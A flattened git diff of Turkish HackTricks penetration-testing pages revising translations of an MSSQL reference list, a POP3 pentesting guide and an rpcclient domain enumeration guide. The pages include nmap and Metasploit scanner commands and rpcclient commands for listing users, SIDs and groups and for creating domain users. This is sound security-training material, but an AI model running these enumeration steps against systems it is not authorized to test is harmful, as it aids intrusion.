Bu saldırı hakkında daha fazla bilgi için aşağıdaki bağlantılara başvurun: Bu saldırı hakkında daha fazla bilgi için aşağıdaki bağlantılara başvurun:
[MSSQL Veritabanı Bağlantılı Sunucu Şifrelerinin Şifrelenmesi](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) [MSSQL Veritabanı Bağlantılı Sunucu Şifrelerinin Çözülmesi](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[SQL Server Ayrılmış Yönetici Bağlantısını Sorun Giderme](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) [SQL Server Ayrılmış Yönetici Bağlantısını Sorun Giderme](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
@ -485,16 +485,16 @@ Büyük olasılıkla, bu 2 sayfadan birini takip ederek **Yöneticiye yükselteb
## Referanslar ## Referanslar
* [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users) * [Tüm Veritabanı Kullanıcılarının Listesini Nasıl Alabilirim?](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
* [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/) * [SQL Server Giriş Kullanıcı İzinleri fn_my_permissions](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) * [Gelişmiş MSSQL Enjeksiyon Hileleri](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) * [SQL Server Depolanan Prosedürlerin Hacklenmesi Bölüm 1 - Güvenilmeyen Veritabanları](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) * [SQL Server Depolanan Prosedürlerin Hacklenmesi Bölüm 2 - Kullanıcı Taklit Etme](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) * [Metasploit Kullanarak SQL Server Üzerinden SMB Röle Saldırıları Gerçekleştirme](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) * [SQL Server ile Çalışan Kayıt Defteri](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -558,14 +558,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
``` ```
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -1,20 +1,20 @@
# 110,995 - POP Pentest # 110,995 - POP Pentesting
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile paylaşın.**
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,9 +22,9 @@
## Temel Bilgiler ## Temel Bilgiler
**Posta Ofisi Protokolü (POP)**, bilgisayar ağları ve İnternet alanında kullanılan bir protokol olarak tanımlanır ve **uzaktaki posta sunucusundan e-postaların çıkarılması ve alınması** için kullanılır, böylece bunlar yerel cihazda erişilebilir hale gelir. OSI modelinin uygulama katmanında konumlandırılan bu protokol, kullanıcıların e-postaları almasını ve almasını sağlar. **POP istemcilerinin** işleyişi genellikle posta sunucusuna bağlantı kurmayı, tüm iletileri indirmeyi, bu iletileri yerel olarak istemci sistemde depolamayı ve ardından sunucudan kaldırmayı içerir. Bu protokolün üç tane sürümü olsa da, **POP3** en yaygın olarak kullanılan sürüm olarak öne çıkar. **Posta Ofisi Protokolü (POP)**, bilgisayar ağları ve İnternet alanında kullanılan bir protokol olarak tanımlanır ve **uzaktaki posta sunucusundan e-postaların çıkarılması ve alınması** için kullanılır, böylece bunlar yerel cihazda erişilebilir hale gelir. OSI modelinin uygulama katmanında konumlandırılan bu protokol, kullanıcıların e-postaları almasını ve almasını sağlar. **POP istemcilerinin** işleyişi genellikle posta sunucusuna bağlantı kurmayı, tüm iletileri indirmeyi, bu iletileri yerel olarak istemci sistemine depolamayı ve ardından sunucudan kaldırmayı içerir. Bu protokolün üç tane sürümü olsa da, **POP3** en yaygın olarak kullanılan sürüm olarak öne çıkar.
**Varsayılan portlar:** 110, 995(ssl) **Varsayılan bağlantı noktaları:** 110, 995(ssl)
``` ```
PORT STATE SERVICE PORT STATE SERVICE
110/tcp open pop3 110/tcp open pop3
@ -46,11 +46,11 @@ nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All a
``` ```
`pop3-ntlm-info` eklentisi bazı "**duyarlı**" verileri (Windows sürümleri) döndürecektir. `pop3-ntlm-info` eklentisi bazı "**duyarlı**" verileri (Windows sürümleri) döndürecektir.
### [POP3 kaba kuvvet saldırısı](../generic-methodologies-and-resources/brute-force.md#pop) ### [POP3 kaba kuvvet](../generic-methodologies-and-resources/brute-force.md#pop)
## POP sözdizimi ## POP sözdizimi
POP komutları örnekleri [buradan](http://sunnyoasis.com/services/emailviatelnet.html) alınmıştır. POP komut örnekleri [buradan](http://sunnyoasis.com/services/emailviatelnet.html) alınmıştır.
```bash ```bash
POP commands: POP commands:
USER uid Log in as "uid" USER uid Log in as "uid"
@ -94,16 +94,16 @@ password: PA$$W0RD!Z
[https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073) adresinden alınmıştır. [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073) adresinden alınmıştır.
| **Ayar** | **Açıklama** | | **Ayar** | **Açıklama** |
| ------------------------- | --------------------------------------------------------------------------------------------- | | ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Tüm kimlik doğrulama hata ayıklama işlemlerini etkinleştirir. | | `auth_debug` | Tüm kimlik doğrulama hata ayıklama işlemlerini etkinleştirir. |
| `auth_debug_passwords` | Bu ayar, günlüğün ayrıntı düzeyini, gönderilen şifreleri ve şema bilgilerini kaydeder. | | `auth_debug_passwords` | Bu ayar, günlük ayrıntısını ayarlar, gönderilen şifreler ve şema kaydedilir. |
| `auth_verbose` | Başarısız kimlik doğrulama denemelerini ve nedenlerini kaydeder. | | `auth_verbose` | Başarısız kimlik doğrulama denemelerini ve nedenlerini kaydeder. |
| `auth_verbose_passwords` | Kimlik doğrulaması için kullanılan şifreler kaydedilir ve kısaltılabilir. | | `auth_verbose_passwords` | Kimlik doğrulaması için kullanılan şifreler kaydedilir ve ayrıca kısaltılabilir. |
| `auth_anonymous_username` | Bu, ANONYMOUS SASL mekanizması ile oturum açarken kullanılacak kullanıcı adını belirtir. | | `auth_anonymous_username` | Bu, ANONYMOUS SASL mekanizması ile oturum açarken kullanılacak kullanıcı adını belirtir. |
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -150,13 +150,13 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
``` ```
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya beni **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya beni **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hackleme hilelerinizi paylaşarak PR'lar gönderin** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**.
</details> </details>

View file

@ -4,46 +4,46 @@
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te** görmek ister misiniz? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi**](https://opensea.io/collection/the-peass-family)'ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu görün
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) **Discord grubuna**](https://discord.gg/hRep4RUj7f) veya **telegram grubuna** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin.** * **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) **katılın** veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**.
* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**'a PR gönderin. * **Hacking püf noktalarınızı göndererek [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) PR'leri gönderin**.
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
### Relative Identifiers (RID) ve Security Identifiers (SID) Genel Bakış ### Göreceli Kimlik Belirleyicileri (RID) ve Güvenlik Kimlik Belirleyicileri (SID) Genel Bakış
**Relative Identifiers (RID)** ve **Security Identifiers (SID)**, Windows işletim sistemlerinde ağ etki alanı içinde kullanıcılar ve gruplar gibi nesneleri benzersiz bir şekilde tanımlamak ve yönetmek için önemli bileşenlerdir. **Göreceli Kimlik Belirleyicileri (RID)** ve **Güvenlik Kimlik Belirleyicileri (SID)**, Windows işletim sistemlerinde ağ alanında kullanıcılar ve gruplar gibi nesneleri benzersiz bir şekilde tanımlamak ve yönetmek için önemli bileşenlerdir.
- **SIDs**, her etki alanının ayırt edilebilir olduğunu sağlayan benzersiz kimlikler olarak hizmet eder. - **SID'ler**, her alanın ayırt edilebilir olduğunu sağlayan benzersiz kimlik belirleyicileri olarak hizmet eder.
- **RIDs**, bu etki alanlarındaki nesneler için benzersiz kimlikler oluşturmak için SIDs'ye eklenir. Bu kombinasyon, nesne izinlerinin ve erişim kontrollerinin hassas takibi ve yönetimine olanak tanır. - **RID'ler**, bu alanlardaki nesneler için benzersiz kimlik belirleyicileri oluşturmak için SID'lere eklenir. Bu kombinasyon, nesne izinlerinin ve erişim kontrollerinin hassas takibi ve yönetimine olanak tanır.
Örneğin, `pepe` adında bir kullanıcının, etki alanının SID'si ile belirli RID'sini birleştiren benzersiz bir kimliği olabilir. Bu, hem onaltılık (`0x457`) hem de ondalık (`1111`) formatlarda temsil edilir. Bu, pepe için etki alanı içinde tam ve benzersiz bir kimlik oluşturur: `S-1-5-21-1074507654-1937615267-42093643874-1111`. Örneğin, `pepe` adında bir kullanıcının, alanın SID'si ile belirli RID'sini birleştiren benzersiz bir kimlik belirleyicisi olabilir. Bu, pepe için alan içinde tam ve benzersiz bir kimlik belirleyici sağlar: `S-1-5-21-1074507654-1937615267-42093643874-1111`.
### rpcclient ile Enumerasyon ### **rpcclient ile Numaralandırma**
**`rpcclient`** aracı, **RPC uç noktalarıyla adlandırılmış borular aracılığıyla etkileşimde bulunmak** için Samba'dan kullanılır. **SMB oturumu kurulduktan sonra** SAMR, LSARPC ve LSARPC-DS arabirimlerine verilebilecek aşağıdaki komutlar genellikle kimlik bilgilerini gerektirir. Samba'dan gelen **`rpcclient`** yardımcı programı, **RPC uç noktalarıyla adlandırılmış borular aracılığıyla etkileşimde bulunmak için** kullanılır. Genellikle kimlik bilgilerini gerektirir ve **bir SMB oturumu kurulduktan sonra** SAMR, LSARPC ve LSARPC-DS arabirimlerine verilebilecek aşağıdaki komutlar bulunmaktadır.
#### Sunucu Bilgileri #### Sunucu Bilgileri
* **Sunucu Bilgilerini** almak için: `srvinfo` komutu kullanılır. * **Sunucu Bilgilerini** almak için: `srvinfo` komutu kullanılır.
#### Kullanıcıların Enumerasyonu #### Kullanıcıların Numaralandırılması
* **Kullanıcılar**, `querydispinfo` ve `enumdomusers` kullanılarak listelenebilir. * **Kullanıcılar**, `querydispinfo` ve `enumdomusers` komutları kullanılarak listelenebilir.
* **Bir kullanıcının detayları**, `queryuser <0xrid>` ile alınabilir. * **Bir kullanıcının detayları**, `queryuser <0xrid>` ile alınabilir.
* **Bir kullanıcının grupları**, `queryusergroups <0xrid>` ile görüntülenebilir. * **Bir kullanıcının grupları**, `queryusergroups <0xrid>` ile alınabilir.
* **Bir kullanıcının SID'si**, `lookupnames <kullanıcıadı>` ile alınabilir. * **Bir kullanıcının SID'i**, `lookupnames <kullanıcıadı>` ile alınabilir.
* **Kullanıcıların takma adları**, `queryuseraliases [builtin|domain] <sid>` ile alınabilir. * **Kullanıcıların takma adları**, `queryuseraliases [builtin|domain] <sid>` ile alınabilir.
```bash ```bash
# Users' RIDs-forced # Users' RIDs-forced
@ -77,9 +77,9 @@ done
#### SIDs ile İlgili Ek İşlemler #### SIDs ile İlgili Ek İşlemler
* **SIDs'lerin isimleri** için: `lookupnames <username>`. * **İsimlere göre SIDs** için: `lookupnames <username>`.
* **Daha fazla SIDs** için: `lsaenumsid`. * **Daha fazla SIDs** için: `lsaenumsid`.
* **Daha fazla SIDs kontrol etmek için RID döngüsü** ile: `lookupsids <sid>`. * **Daha fazla SIDs'i kontrol etmek için RID döngüsü** ile: `lookupsids <sid>`.
#### **Ek komutlar** #### **Ek komutlar**
@ -93,28 +93,28 @@ done
| createdomuser | Bir alan kullanıcısı oluşturur | | | createdomuser | Bir alan kullanıcısı oluşturur | |
| deletedomuser | Bir alan kullanıcısını siler | | | deletedomuser | Bir alan kullanıcısını siler | |
| lookupnames | LSARPC | Kullanıcı adlarını SID değerlerine bakar[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) | | lookupnames | LSARPC | Kullanıcı adlarını SID değerlerine bakar[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) |
| lookupsids | SIDs'leri kullanıcı adlarına bakar (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) döngüsü) | | | lookupsids | SIDs'i kullanıcı adlarına bakar (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) döngüsü) | |
| lsaaddacctrights | Bir kullanıcı hesabına hak ekler | | | lsaaddacctrights | Bir kullanıcı hesabına haklar ekler | |
| lsaremoveacctrights | Bir kullanıcı hesabından hakları kaldırır | | | lsaremoveacctrights | Bir kullanıcı hesabından hakları kaldırır | |
| dsroledominfo | LSARPC-DS | Birincil alan bilgilerini alır | | dsroledominfo | LSARPC-DS | Birincil alan bilgilerini alır |
| dsenumdomtrusts | Bir AD ormanı içinde güvenilen alanları sıralar | | | dsenumdomtrusts | Bir AD ormanı içinde güvenilen alanları sıralar | |
**_samrdump_** ve **_rpcdump_** araçlarının nasıl çalıştığını daha iyi **anlamak** için [**MSRPC Pentesting**](../135-pentesting-msrpc.md) bölümünü okumalısınız. **_samrdump_** ve **_rpcdump_** araçlarının nasıl çalıştığını daha iyi **anlamak** için [**Pentesting MSRPC**](../135-pentesting-msrpc.md) okumalısınız.
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>Sıfırdan Kahraman'a kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan Kahraman'a AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **[**cybersecurity şirketinde mi çalışıyorsunuz**](https://training.hacktricks.xyz/courses/arte)? **Şirketinizi HackTricks'te** görmek ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Bir **_**cybersecurity şirketinde**_ **çalışıyor musunuz? Şirketinizi HackTricks'te **tanıtmak** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) katılın veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** * **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**. * **Hacking püf noktalarınızı göndererek [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın.**
</details> </details>

View file

@ -2,54 +2,54 @@
<details> <details>
<summary><strong>AWS hackleme becerilerinizi sıfırdan kahraman seviyesine çıkarın</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile</strong>!</summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
